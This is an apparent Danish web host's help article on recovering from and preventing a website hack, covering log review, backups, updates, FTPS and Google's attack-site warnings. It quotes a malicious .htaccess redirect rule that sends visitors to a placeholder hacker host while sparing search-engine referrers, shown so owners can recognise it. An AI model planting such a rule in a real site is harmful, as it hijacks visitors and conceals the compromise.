Hjælp! Mit websted er blevet hacket. Hvordan løser eller forebygger jeg det?

Det er irriterende, når din konto er blevet hacket. Vi gør alt for at gøre det så svært som muligt for hackere, men det kan desværre alligevel ske, at en hacker har fået adgang til dit websted. Så gælder det om at finde ud af, hvordan hackeren har fået adgang til dit system.

Det kan være et svært og tidskrævende arbejde, men årsagen/kilden er vigtig for at kunne forhindre det i fremtiden. Bare at slette alt og gendanne en backup er ikke løsningen.

Sørg for ikke at lægge det inficerede websted online igen, medmindre du er 100% sikker på, at problemet er løst, og at det er sikkert.

Du kan selv via kontrolpanelet under domæneindstillinger (eller via indstillingen websteder ved Windows-hosting) midlertidigt deaktivere dit domæne, så det hackede websted ikke kan gøre yderligere skade på andre. Du kan eventuelt gendanne en gammel backup via Installatron (Linux-hosting) eller bruge vores backupmodul. Sørg for først at slette alle mapper og filer og først derefter gendanne en backup, ellers bliver nyligt placerede og hackede filer nemlig liggende.

Du kan også vælge at lade vores eksperter løse hacket. Da det er et tidskrævende arbejde, er denne service desværre ikke gratis.
Klik her for mere information.

Undersøg mulige årsager:

• Den mest almindelige årsag: Du bruger et script eller et plugin, der ikke er opdateret til den nyeste version, ikke er sikkert eller indeholder fejl. Det kan også være et modul i for eksempel WordPress eller Joomla.
• Du tilbyder dine besøgende mulighed for at uploade filer, og en af de besøgende har uploadet et PHP-program og kørt det.
• Du bruger forudsigelige, for lette adgangskoder eller adgangskoder, der for eksempel kan findes via haveibeenpwned.com.
• Din computer er inficeret med en virus eller orm/keylogger, som på den måde opsnapper adgangskoder og brugernavne til for eksempel din FTP-konto.
• Du har lavet en formular, hvor der for eksempel kan indsættes SQL- eller PHP-kode, eller en formular uden Captcha, så der kan sendes spam via den.
• Søg i webstedets logfiler (i DirectAdmin i menuen Statistik / logfiler) efter mistænkelige ting. Søg også i Litespeed/Apache Usage Log og Backed up Apache logs. Søg efter IP-adresser fra fremmede lande, og søg især efter POST-forespørgsler i kombination med en IP-adresse fra et fremmed land. Ofte kan man finde noget der. Du kan via et websted som www.whatsmyip.org finde ud af, hvilket land en IP-adresse kommer fra.

Sådan forebygger du et hack:

• Det vigtigste: Sørg for, at alle dine scripts som WordPress/Joomla altid er opdateret med de nyeste opdateringer. Det gælder bestemt også plugins og templates. Opdateringer kan som regel nemt udføres via Installatron eller via selve scriptet.
• Brug FTPS i stedet for almindelig FTP
• Brug ALDRIG DIT brugernavn og din adgangskode i scripts. Hvis det er nødvendigt, så opret en separat bruger til det via kontrolpanelet.
• Brug kun kendte og velrenommerede scripts, og sørg for, at de holdes opdateret.
• Tilbyd ALDRIG uploadmuligheder. Det er livsfarligt.

WordPress, Joomla og andre scripts: sørg for, at den nyeste version er installeret!
Det er vigtigt at holde WordPress/Joomla og andre scripts opdateret. Det kan generelt forhindre hacks. Via Installatron (Linux-hosting) kan opdateringer installeres meget nemt. Hvis du ikke har installeret WordPress/Joomla eller et andet script via Installatron, kan du nemt importere det i Installatron bagefter og derefter opdatere dit script.

Beskyt mapper som administrator i Joomla
Det er vigtigt at beskytte mapper som /administrator ekstra. Denne artikel forklarer hvordan.

Iframe-hack:

Hvis du er offer for iframe-hacket, er årsagen ofte en trojansk virus på din pc, som giver sig selv adgang til dine FTP-konti

• Kontrollér, om dit websted faktisk er hacket. Det kan du for eksempel gøre via webstedet UnmaskParasites.
• Brug FTPS til at logge ind i stedet for FTP. FTP sender nemlig alle data som læsbar tekst, mens FTPS krypterer de sendte data, så det er sværere for hackere at opsnappe disse følsomme data.
• Skift nu alle dine FTP-adgangskoder.
• Skift alle mapper (Linux) via kontrolpanelet/filhåndteringen eller via FTP til chmod 755 og alle filer til chmod 644.

HTACCESS-hack / .htaccess er ændret:

I eksemplet nedenfor har en hacker ændret din .htaccess. Derved vil Google og Yahoo stadig indeksere dit websted, men alle andre besøgende bliver sendt videre til hackerens websted.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteRule .* http://hacker.xx/in.html?= [R,L]

Google ser dit websted som et angrebswebsted (Rapporteret angrebswebsted!):

Via linkene nedenfor kan du hente oplysninger (indtast dit eget domænenavn):

http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=nl&site=http://www.uwdomein.xx/

Via dette link kan du blandt andet få oplysninger, men også anmode om, at dit domænenavn/websted ikke længere betragtes som et angrebswebsted. Sørg dog for, at det faktisk er helt rengjort!

http://www.google.com/support/webmasters/bin/answer.py?hl=nl&answer=45432

1. Vælg det ønskede websted i dashboardet i Search Console (tidligere Webmaster Tools).
2. Klik i meddelelsen 'Dele af dette websted distribuerer muligvis skadelig software' på 'Flere oplysninger'.
3. Klik på 'Anmod om en gennemgang'.